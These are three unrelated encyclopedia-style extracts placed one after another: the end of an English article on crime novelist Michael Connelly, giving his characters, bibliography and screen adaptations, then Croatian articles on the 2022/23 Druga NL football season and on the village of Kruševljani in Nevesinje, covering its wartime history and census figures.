 Harvey "Ninety-Eight" Pounds – Bosch's ex-supervisor in Hollywood Homicide squad, murdered in The Last Coyote.
 Abel Pratt – LAPD Open-Unsolved Unit supervisor.
 Kizmin "Kiz" Rider – Bosch's former partner in Hollywood Homicide squad and the RHD Open-Unsolved Unit; now an aide to the L.A. chief of police. When introduced, she was in a same-sex relationship with her commanding officer, Lt. Grace Billets.
 Graciela Rivers-McCaleb.  Terry McCaleb meets Graciela and her nephew Raymond at the beginning of Blood Work.  In A Darkness More Than Night Terry and Graciela are married and living on Catalina Island, and they have a young daughter and have adopted Raymond.  In The Narrows she moves back to the mainland with the children.
 Keisha Russell – Los Angeles Times reporter, started on the Los Angeles crime beat, Now based in D.C., and occasionally provided information for Bosch. Jack McEvoy's ex-wife.
 Larry Sakai – Coroner technician with the LAPD.
 Francis "Frankie" Sheehan – Bosch's original partner in Robbery-Homicide Division.
 Lucia "Lucky" Soto – Bosch's partner in The Burning Room. Assists Ballard in Dark Sacred Night.
 Lorna Taylor – Mickey Haller's current secretary and second ex-wife.
 Ed Thomas – Hollywood Homicide Detective (mentioned in The Poet, appears later in The Narrows).
 Steven Vascik – A process server in Angels Flight, based on a real-life acquaintance of the author. Vascik is credited with photos of Hong Kong on the author's website (photo gallery 15–17).
 Jaye Winston – Detective with the Los Angeles County Sheriff's Department, works alongside both Bosch and McCaleb in Blood Work and A Darkness More Than Night.
 Eleanor Wish – ex-FBI agent, ex-con and Bosch's ex-wife, mother of Bosch's daughter Maddie; moved to Hong Kong. Killed during the events of 9 Dragons.
 Dennis "Cisco" Wojciechowski – Mickey Haller's private investigator. Formerly associated with the Road Saints motorcycle gang who bestowed him with the nickname Cisco in reference to The Cisco Kid. (Wojciechowski is named after Connelly's real-life investigator, who, like Bosch, is a Vietnam veteran.)

Bibliography

Novels

Author

Novel collections:
 The Harry Bosch Novels, Volume 1 (2001), includes "The Black Echo", "The Black Ice" and "The Concrete Blonde"
 The Harry Bosch Novels, Volume 2 (2003), includes "The Last Coyote", "Trunk Music" and "Angels Flight"
 The Harry Bosch Novels, Volume 3 (2010), includes "A Darkness More Than Night", "City of Bones" and "Lost Light"

Editor
 The Best American Mystery Stories 2003 (2003) – collected short stories.
 Murder in Vegas (2005) – collected short stories.
 The Blue Religion (2008) – collected short stories.
 In the Shadow of the Master (2009) – collected short stories by Edgar Allan Poe, with observations by current mystery writers including Sue Grafton and Stephen King.

Short stories

Harry Bosch series:
 Collections:
 Angle of Investigation (2011), collection of 3 short stories:
 "Christmas Even", "Father's Day", "Angle of Investigation"
 Suicide Run (2011), collection of 3 short stories:
 "Suicide Run", "Cielo Azul", "One Dollar Jackpot"
 Mulholland Dive (2012), collection of 3 short stories:
 "Cahoots", "Mulholland Dive", "Two-Bagger"
 Uncollected short stories:
 "Blue on Black", in Hook, Line & Sinister (2010); with Rachel Walling
 "Blood Washes Off", in The Rich and the Dead (2011)
 "Homicide Special", in The Drop (2011); written exclusively for copies of The Drop sold in Waterstones stores
  "A Fine Mist of Blood", in Vengeance (2012)
 "Switchblade" – an ebook companion to The Gods of Guilt, published on 14 January 2014
 "Red Eye", in "FaceOff" (2014), co-written with Dennis Lehane; with Patrick Kenzie
 "The Crooked Man", in "In the Company of Sherlock Holmes: Stories Inspired by the Holmes Canon" (Nov 2014)
 "Nighthawks", in "In Sunlight or In Shadow: Stories Inspired by the Paintings of Edward Hopper" (Dec 2016)
 "The Guardian", in "Tampa Bay Noir" (Aug 2020)
 All short stories:
 "Two-Bagger", in Murderers' Row (2001) and The Best American Mystery Stories 2002 (2002)
 "Cahoots", in Measures of Poison (2002)
 "Christmas Even", in Murder...and All That Jazz (2004), partner: Jerry Edgar
 "Cielo Azul", in Dangerous Women (2005); backstory to A Darkness More than Night
 "Angle of Investigation", in Plots with Guns (2005) and The Penguin Book Of Crime Stories (2007) – continuation of The Closers; partner: Kiz Rider
 "Mulholland Dive", in Los Angeles Noir (2007), Prisoner of Memory (2008), The Best American Mystery Stories (2008), and A Prisoner of Memory and 24 of the Year's Finest Crime and Mystery Stories (2008)
 "Suicide Run", in Hollywood and Crime (2007)
 "One Dollar Jackpot", in Dead Man's Hand (2007)
 "Father's Day", in The Blue Religion (2008), and  The Best American Mystery Stories (2009); partner: Ignacio Ferras
 "Blue on Black", in Hook, Line & Sinister (2010); with Rachel Walling
 "Blood Washes Off", in The Rich and the Dead (2011)
 "Homicide Special", in The Drop (2011); written exclusively for copies of The Drop sold in Waterstones stores
  "A Fine Mist of Blood", in Vengeance (2012)
 "Switchblade" – an ebook companion to The Gods of Guilt, published on 14 January 2014
 "Red Eye", in "FaceOff" (2014), co-written with Dennis Lehane; with Patrick Kenzie
 "The Crooked Man", in "In the Company of Sherlock Holmes: Stories Inspired by the Holmes Canon" (Nov 2014)
 "Nighthawks", in "In Sunlight or In Shadow: Stories Inspired by the Paintings of Edward Hopper" (Dec 2016)
 "The Guardian", in "Tampa Bay Noir" (Aug 2020)

Mickey Haller series:
 "The Perfect Triangle", in The Dark End of the Street (2010)
 "Burnt Matches", in "The Highway Kind: Tales of Fast Cars, Desperate Drives and Dark Roads" (Oct 2016)

Stand-alones:
 "After Midnight", in Men from Boys (2003)
 "The Safe Man", published anonymously in The Secret Society Of Demolition Writers (2005)
 "The Third Panel", in "Alive In Shape And Color" (Dec 2017)
 "Avalon", in "When a Stranger Comes to Town" (Apr 2021)

Children's short stories
 "Short Cut" published in Half-Minute Horrors (2009), for kids ages 9-12

Non-fiction
 Crime Beat (2004), collected journalism from the Sun-Sentinel and Los Angeles Times

Filmography

Television
 Level 9 (2001)—co-creator and co-executive producer
 Castle (2009–2011)—actor (cameo)
 Bosch (2015-2021)—co-creator, writer and co-executive producer
 Bosch: Legacy (2022)—co-creator, writer and co-executive producer

Features
 Sound of Redemption: The Frank Morgan Story (2014)—executive producer

Adaptations

 Blood Work (2002), film directed by Clint Eastwood, based on novel Blood Work
 The Lincoln Lawyer (2011), film directed by Brad Furman, based on novel The Lincoln Lawyer
 Bosch (2014-2021), series developed by Eric Overmyer, based on novel series Harry Bosch
 Bosch: Legacy (2022), series developed by Michael Connelly, Tom Bernardo and Eric Overmyer, based on novel series Harry Bosch
 Avalon (TV series)|Avalon (2022), series created by Michael Connelly and David E. Kelley, based on short story "Avalon"
 The Lincoln Lawyer (2022), series created by David E. Kelley, based on novel series Mickey Haller

References

External links

 Michael Connelly's Official Web Site
 "Newspaper Noir", The Washington Post, June 22, 2009.
 Connelly Interview by identitytheory.com
 Interview on The Next Track podcast about music in the Harry Bosch novels

 Interview with Michael Connelly, Speaking of Mysteries TV Series (2001)

1956 births
Anthony Award winners
Bancarella Prize winners
Barry Award winners
Cartier Diamond Dagger winners
Dilys Award winners
Edgar Award winners
Living people
Macavity Award winners
Maltese Falcon Award winners
Nero Award winners
Shamus Award winners
Connelly, Michael
University of Florida College of Journalism and Communications alumni
Writers from Fort Lauderdale, Florida
Writers from Los Angeles

Michael Connelly


Druga nogometna liga (2. NL; Druga NL, sponzorskog naziva SuperSport Druga nogometna liga, odnosno SuperSport Druga NL) predstavlja treći stupanj nogometne lige u Hrvatskoj  usezoni 2022./23.
Ovo je prva sezona Druge NL, te je prvi put da je liga trećeg stupnja jedinstvena u Hrvatskoj.

U njoj se natječu klubovi koji su ispali iz 2. HNL te najbolji klubovi iz pet skupina 3. HNL u sezoni 2021. (dio plasiran direktno, dio kroz kvalifikacije).
Prvi prvak lige je postao klub "Sesvete".

Sustav natjecanja
Šesnaest klubova igra dvostrukim ligaškim sustavom (30 kola).

Sudionici

Ljestvica

Rezultati
''Ažurirano: 20. srpnja 2023. (kraj sezone)

Povezani članci
 Druga nogometna liga
 HNL 2022./23.
 1. NL 2022./23.
 3. NL 2022./23.
 3. NL – Centar 2022./23.
 3. NL – Jug 2022./23.
 5. rang HNL-a 2022./23.
 6. rang HNL-a 2022./23.
 7. rang HNL-a 2022./23.
 8. rang HNL-a 2022./23.
 Hrvatski kup 2022./23.

Izvori

  int.soccerway.com, Croatia -> Second NL -> 2022/2023
  sofascore.com, 2. NL
  tipsscore.com, 2. NL – 2022-2023
  rsssf.org, Croatia 2022/23 / 2. HNL
 sportnet.hr, Nogomet -> 2022/23 -> Druga nogometna liga
 rrezultati.com, SuperSport Druga NL
 hns-cff.hr, SuperSport Druga NL (2022./23.), wayback arhiva od 5. lipnja 2023.
 hr-nogomet.hr, SuperSport Druga NL, pristupljeno 20. srpnja 2023.

Vanjske poveznice
 hns-cff.hr, SuperSport Druga NL
 sportnews.hr, Druga nogometna liga

s 2022-23 2 NL
 3 1.NL

2. NL 2022./23.


Kruševljani su naseljeno mjesto u općini Nevesinje, Republika Srpska, BiH.

Zemljopis

Nalazi se u gornjem dijelu Nevesinjskoga polja.

Povijest

U Kruševljanima je postojala brojna katolička zajednica. Drugi svjetski rat bio je vrlo tegobno razdoblje za Hrvate nevesinjskog kraja. Mnogi su otišli već 1941.,planištarima je opao broj, a kobne 1942. slijedi krvavo opadanje i propadanje. Već od siječnja četnički pohodi okrvavili su Neretvu, u koje su četnici u prvom pohodu bacali ljude, žene i djecu, ubijene i žive koje su onda s obale puškom gađali. Preživjele su spasili muslimani kroz čija ih je sela Neretva nosila. Zbog višekratnog četničkoga koljačkog pohoda nevesinjska župa izgubila je oko 300 članova. Hrvati katolici iz Kruševljana uspjeli su ostati u Kruševljanima i poslije drugog svjetskog rata, za razliku od mnogih mjesta nevesinjske župe. Godine 1972. je u Seljanima podignuta je grobljanska kapelica u čast sv. Ivana Krstitelja za Kruševljane, Dramiševo, Seljane i Vranješinu. Pred rat je započeta i nikad dovršena grobljanska kapelica u Kruševljanima. Grobljanska kapelica u Seljanima srušena je u velikosrpskoj agresiji 1992., a obnovljena i blagoslovljena 2003. godine.
Oko katoličkog groblja su brojne stare kuće pokojnih Raguža i njihovih potomaka. Potomci tih hrvatskih obitelji danas su po Donjoj Hercegovini i Dubrovniku.

Religija

U Kruševljanima se nalazi katoličko groblje i nekropola stećaka.

Katoličko groblje nalazi se u samom mjestu i naziva se i Raguževo groblje.

Stanovništvo

Popisi 1961. – 1991.

Popis 2013.

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|colspan ="7" | Kruševljani
|-
|style="background: bgcolor="#F5DEB3" | godina popisa|style="background: bgcolor="#C2B280" | 2013.
|-
|Bošnjaci
|23 (100,00%)
|-
|Srbi
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|Hrvati
|0
|-
|ostali i nepoznato
|0
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|style="background: bgcolor="#F5DEB3" |ukupno|23'|}

 Izvori

 Vanjske poveznice

 Župa Uznesenja BDM, Nevesinje Nastavak radova na sanaciji puta Kruševljani - Seljani, 16. lipnja 2010. Župa Uznesenja BDM, Nevesinje Radovi na sanaciji puta Kruševljani - Seljani, 15. lipnja 2010.''

Naselja u Republici Srpskoj
Nevesinje

Kruševljani